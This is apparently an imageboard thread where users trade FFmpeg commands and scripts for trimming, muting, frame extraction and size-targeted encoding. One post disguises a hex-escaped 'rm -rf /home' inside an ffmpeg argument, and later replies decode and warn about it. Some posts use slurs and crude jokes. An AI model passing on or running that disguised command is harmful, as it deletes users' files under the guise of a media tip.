FFmpeg commands you use most

>>105820878 (OP)
-h

>>105820878 (OP)
ffmpeg -i input.mp4 -c copy -an output.mp4

for removing audio for /pol/ webm's

>>105820938
dissasemble the jargon, what each word does?

Most used:
>ffmpeg -i input.mp4 -c copy output.mkv

Mose useful:
>ffmpeg -i input.mp4 -ss 00:00:30 -t 30 -c copy output.mp4

>>105820964
-i = goes before input file
input.mp4 - input file
-c copy - copy all streams/codecs to output
-an - exclude audio streams/codecs
output.mp4 - file to output

>>105820878 (OP)
ffmpeg -i input.mp4 '%04d.png'

save all video frames as images

>>105820989
thank you, more digestable that you explained it to me

>>105821001
Why do you need all video frames?

>>105820878 (OP)
md "%~dp1png"
T:/Recordings/ffmpeg.exe -i %1 -vf select="between(n\,STARTFRAME#\,ENDFRAME#),setpts=PTS-STARTPTS, fps=50/3" -vcodec png -an "%~dp1png\%~n1 %%04d.png"

pause

I use this to dump clips into png with frame precision at a frame rate that's more gif friendly (it's for my neocities). Drag and drop then spits them into an output folder with filenames in sequence up to 4 digits. I'm stupid with ffmpeg and cobbled together shit I found on google, if anyone wants to improve on it feel free to.

>>105821060
You should consider adding ffmpeg to your path.
I just have a C:/bins where I stuff all my exe's.

>>105821191
You mean change
T:/Recordings/ffmpeg.exe
to just
ffmpeg?

>>105821060
disasemble the syntax

>>105821060
@echo off
setlocal enabledelayedexpansion

:: -------------------------------
:: Configuration
:: -------------------------------
set "FFMPEG_PATH=T:\Recordings\ffmpeg.exe"
set "FPS=50/3"
set "START_FRAME=STARTFRAME#" :: Replace with actual start frame number
set "END_FRAME=ENDFRAME#" :: Replace with actual end frame number

:: -------------------------------
:: Input Validation
:: -------------------------------
if "%~1"=="" (
echo [ERROR] No input file provided.
echo Usage: %~nx0 input_video
exit /b 1
)

if not exist "%~1" (
echo [ERROR] Input file "%~1" does not exist.
exit /b 1
)

if not exist "%FFMPEG_PATH%" (
echo [ERROR] ffmpeg not found at "%FFMPEG_PATH%"
exit /b 1
)

:: -------------------------------
:: Prepare Output Directory
:: -------------------------------
set "INPUT_FILE=%~1"
set "INPUT_DIR=%~dp1"
set "INPUT_NAME=%~n1"
set "OUTPUT_DIR=%INPUT_DIR%png"

if not exist "%OUTPUT_DIR%" (
mkdir "%OUTPUT_DIR%"
)

:: -------------------------------
:: Run ffmpeg to extract frames
:: -------------------------------
echo [INFO] Extracting frames from "%INPUT_FILE%"...
"%FFMPEG_PATH%" -i "%INPUT_FILE%" ^
-vf "select='between(n\,%START_FRAME%\,%END_FRAME%)',setpts=PTS-STARTPTS,fps=%FPS%" ^
-vcodec png -an "%OUTPUT_DIR%\%INPUT_NAME% %%04d.png"

if errorlevel 1 (
echo [ERROR] ffmpeg failed to extract frames.
exit /b 1
)

echo [SUCCESS] Frames saved to "%OUTPUT_DIR%"
pause
endlocal

discord clip 10MB
start=<s> duration=<d> bitrate=$((81920 / $duration - 96)) && ffmpeg -ss $start -i input.mp4 -vf "scale=1920:1080" -c:v libx265 -b:v $(($bitrate))k -maxrate $(($bitrate + 1000))k -bufsize 30M -b:a 96k -t $duration output.mp4

>>105820878 (OP)
Wouldn't know, I just drag and drop files into a GUI and get what I need done quicker than you.

>>105821381 If you only knew how efficient are me methods, familia...

>>105820911
fpbp

>>105820878 (OP)
I literally copy paste all of them from ChatGPT

-map
I remux a lot of movies into my native language that have poor video quality

ffmpeg -i video.mkv -pass 1 -b:v 1M -pix_fmt yuv420p video.webm
ffmpeg -i video.mkv -pass 2 -b:v 1M -pix_fmt yuv420p video.webm

ffmpeg -i in.mp3 -transform "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`" out.mp3

>>105821884
???

>>105820878 (OP)
clip something with subtitles and 2pass, needs fiddling with bitrate. I really shoud make this into an alias/function
ffmpeg -ss 21:34.335 -to 21:35.169 -copyts -i "in.mkv" -ss 21:34.335 -vf "subtitles=in.mkv" -ac 2 -c:v vp9 -row-mt 1 -b:v 300KiB -pass 1 -sn -dn -f null /dev/null &&
ffmpeg -y -ss 21:34.335 -to 21:35.169 -copyts -i "in.mkv" -ss 21:34.335 -vf "subtitles=in.mkv" -ac 2 -c:v vp9 -row-mt 1 -b:v 300KiB -pass 2 -sn -dn "out.webm"

>>105821884
DO NOT RUN THIS

NERVE GAS ALERT

>>105821344
Thanks I'll play around with this

>>105820878 (OP)
i use gui

>>105820878 (OP)
-c:a copy -c:v copy

>>105821037
to get around blocks when spamming pizza, of course

-af loudnorm=print_format=json

>>105820878 (OP)
ffmpeg -i Source.mp4 -c:v copy -c:a aac -b:a 896k -ac 6 Output.mp4
>Re-encode audio only from Dolby or DTS to high bitrate aac
>Why?: Because AAC is more efficient for local network streaming with no loss to quality when configured properly

>>105821884
>ffmpeg -i in.mp3 -transform "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`" out.mp3


fourty keks

I have a 35 second 15MB mp4 video and I want to turn it into a no audio 4chan size compatible webm to share on 4chan. Does anyone have anyommands for ffmpeg to do this and get it to the right size or something i command line i can edit the qualiy number down to until I can get it down to size or is there some other wizardry you guys use to get really long videos to the max file size limit? It's a vertical video if it helps. I know I've seen some 1 minute webms all under 4MB. Always wondered how it was done, what commands were used. Usually I use cloud convert and just edit the crc quality value and repeat encode until I get it under the file size limit.

>>105823838
To be totally honest dude, I dont use ffmpeg for stuff like this.
I just use submit the video to https://8mb.video/
and download the compressed version

>>105821884

>>105823814
What does it do?

>>105824036
nukes your system

>>105824064
Explain the comms

>>105824070
Google it

>>105824036
The portion:
$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'

Is inside of backticks and it literally translates via hexadecimal to:
rm -rf /home

Running this would literally delete everything inside of your home folder

>>105824081
Ooh so it's hex, also what the fuck, fuck you whoever made this.

>>105820878 (OP)
>FFmpeg commands you
not this time motherfucker

chatgpt convert avi to mp4

For me it's usually...
ffmpeg -i input.mp4 -s 1920x1080 -c:a copy output.mp4

I download a lot of hentai animations off kemono and such, but many of them are 2560x1440 or 3840x2160. My monitor is 1920x1080, so I do not benefit from having them be hundreds of megabytes larger for a higher resolution.

>>105820938
>for /pol/ webms
you HAVE to go back

2pass encode to a specified file size. Useful to fit any video into certain size constraints.
It's a batch script with a few prompts: from/to timestamps, output size. Calculate the desired bitrate, accounting for audio. If the resulting bitrate is too low, downscale and even decrease frame rate (60 to 30). After all flags are set, run 2pass.

>>105823838
Refer to my post >>105824878 Cant post the code right now, just ask chatgpt.
Bitrate = needed size / duration
My duration can be To minus From, but if that's omitted ffprobe is run and its output is parsed to get the total duration of the clip. Chatgpt will do it for you.

>>105823838
Since 4chan accepts mp4 now you can use (AUDIO):
start=<s> duration=<d> bias=<b> bitrate=$((32768 / $duration + $bias)) && ffmpeg -ss $start -i 218.mp4 -c:v libx264 -b:v $(($bitrate))k -maxrate $(($bitrate + 1000))k -bufsize 30M -b:a 96k -t $duration output.mp4

(NO AUDIO)
start=<s> duration=<d> bias=<b> bitrate=$((32768 / $duration + $bias)) && ffmpeg -ss $start -i input.mp4 -c:v libx264 -b:v $(($bitrate))k -maxrate $(($bitrate + 1000))k -bufsize 30M -an -t $duration output.mp4

make the bias slightly smaller (e.g -100) if it exceeds the 4MB limit

>>105825454
>218.mp4 as input in the first one
forgot to change this to input.mp4

>>105820938
>>105820938
I have this function in zsh config
removeaudio() {
if [ $# -eq 0 ]; then
echo "Usage: removeaudio input_video.mp4 [output_video.mp4]"
return 1
fi

input="$1"
output="${2:-${input%.*}_no_audio.${input##*.}}"

ffmpeg -i "$input" -c:v copy -an "$output"
echo "Audio removed! Output: $output"
}
Which lets me just type removeaudio file.mp4 and do it.

>>105825724
>>105825466
>>105824909
>>105824846
>>105823878
>>105820989
Go back, retarded newfag

>>105825883
cry more

I didn't know about -c copy.
lmao

>>105821344
whats the point of this this could like genrealte tons of picturs if the video is long

>>105820878 (OP)
ffmpeg - i input.ext -f wav -bitexact -

>>105825910
>retarded newfag is self projecting

every time

>>105825883
sooky bitch

>>105825918
bro...

>>105825883
>reply all
how lonely are you? seeking (You)'s like this

Anonymooses, if you post comm, explain it step by step.

>>105825724
>>105827065

This is a bash shell function that removes audio from video files using ffmpeg

if [ $# -eq 0 ]; then
echo "Usage: removeaudio input_video.mp4 [output_video.mp4]"
return 1
fi


- `$#` counts the number of arguments passed to the function
- If no arguments are provided (`-eq 0`), it displays usage instructions and exits with error code 1

input="$1"
output="${2:-${input%.*}_no_audio.${input##*.}}"


- `input="$1"` assigns the first argument (input video file) to the `input` variable
- The `output` line uses bash parameter expansion:
- `${2:-...}` means "use the second argument if provided, otherwise use the default value"
- `${input%.*}` removes the file extension from the input filename
- `${input##*.}` extracts just the file extension
- So if no output name is given, it creates one like `original_no_audio.mp4`

ffmpeg -i "$input" -c:v copy -an "$output"


- `-i "$input"` specifies the input file
- `-c:v copy` copies the video stream without re-encoding (faster)
- `-an` removes all audio streams
- `"$output"` specifies the output file

removeaudio() {
if [ $# -eq 0 ]; then
echo "Usage: removeaudio input_video.mp4 [output_video.mp4]"
return 1
fi

input="$1"
output="${2:-${input%.*}_no_audio.${input##*.}}"

ffmpeg -i "$input" -c:v copy -an "$output"

echo "Audio removed! Output: $output"
}

>>105827153
Thank you so much, you are setting a new high standard for this board. Godspeed.

>>105821037
looking for missed cheese?

>>105827240
Die off

>>105827243
YWNBAB (you will never be a barneyfag)

ffmpeg-normalize
it's kinda great when you got a slew of porn on a playlist and you'd like them all at same volume.

>>105825454
>encoding anything in H264 when VP9 is supported
>b-but my CPU is a slow piece of shit
-c:v libsvt_vp9
https://wiki.x266.mov/docs/encoders/SVT-VP9

>>105821269
you would need to add ffmpeg to your path in order to make that change to your command

ffmpeg -fflags nobuffer -f u8 -ac 2 -ar 44100 -i anything.exe -filter_complex "[0:a]avectorscope=mode=lissajous_xy:mirror=y:draw=line:rc=30:gc=160:bc=40:af=50:size=1080x1080:rate=30:zoom=1[v];color=black:rate=30,format=rgb24[c];[c][v]scale2ref[c][i];[c][i]overlay=format=yuv420:shortest=1[v]" -map "[v]" -map "0:a" -aspect 1 -crf 23 -c:v libx264 -movflags isml+frag_keyframe anything.mp4

>>105831467
post it

>>105820878 (OP)
ffmpeg --help

ffmpeg -nostdin -f v4l2 -framerate 30 -video_size 1280x720
-i /dev/video33 -c:v h264_v4l2m2m -pix_fmt yuv420p -b:v 1M
-f segment -reset_timestamps 1 -segment_time 1800 -segment_format mkv
-segment_atclocktime 1 -strftime 1
%Y%m%dT%H%M%S.mkv


can someone make this command use less cpu? i like that it kinda doesnt use much memory but its killing my cpu

>>105832677
cpulimit -l 50 -e ffmpeg after you execute that. Note that I didn't actually bother testing this so I have no idea how well it will play with continuously being SIGSTOP - SIGCONT'ed

>>105820878 (OP)
ffmpeg -i "MauLer-EFAP #345 - Jurassic World: Rebirth - So preoccupied w⧸ whether you could, you didn't stop to think-EtCkn2DJwF4.m4a.part" -c copy -metadata artist="Mauler" -metadata title="EFAP #345 - Jurassic World: Rebirth - So preoccupied w/ whether you could, you didn't stop to think" "Mauler - EFAP #345.m4a"

>>105832677
>h264_v4l2m2m
Are you using a raspberry pi? is your webcam h264 or mjpeg?
post summary off v4l2-ctl -d /dev/video33 and v4l2-ctl -d /dev/video33 --list-formats-ext

if you're decoding 720p@30fps mjpeg that will suck up a fair bit of cpu if you're not using a hw decoder.

>>105824036
>idiots still can't intuit "rm -rf" gotchas the moment they see them

>>105820878 (OP)
ffmpeg -i live_action turtleman.mp4

>>105835222
ffmpeg -i cp_girlonfire.avi

>>105835029
Nigger, i dont speak trannish

ffmpeg -i INPUT -map 0:v? -map 0:a:m:language:eng -map 0:s? -map 0:t? -c copy OUTPUT

Removes non-english languages, great for film rips. Switch eng to jpn to remove dubshit from anime.

>>105835642
that probably sounded cooler in your head

>>105820964
>what each word does?
Indian

>>105825883
>/pol/ user
>newfag
You are by definition a newfag since you came here for politics instead of anime titties. r/the_donald may not exist anymore but r/conservative is the exact same. Please go back.

>>105820878 (OP)
yuv4mpeg so that I could feed it into my compile of SVT-AV1

>>105835732
kill yourself instead of spamming your schizo babble, retarded newfag

>>105834139
yeah, its outputting mjpegs at 30fps at that resolution, the /dev/video33 is just a mirror of /dev/video0

>>105836578
>gets epically destroyed by facts and logic
>only response is to tell them to die
Pathetic.

>>105825938
Ask this dude >>105821060 it's his idea.

>>105836587
Yeah, maybe check if your device has a jpeg hardware decoder. They are present in some raspberry pis, like the 4 and zero. If ffmpeg can't do it maybe gstreamer can. Or maybe drop the framerate on the camera to 15 or 20 fps.

is vp9 encoding really that much better than vp8 for posting webms here?

>>105838284
it has h264 i think thats why i used that flag right?

What other cool stuff can I do with ffmpeg besides removing my home folder?

>>105820878 (OP)
I already have a webm script that does everything I want automatically so I don't really "use" ffmpeg commands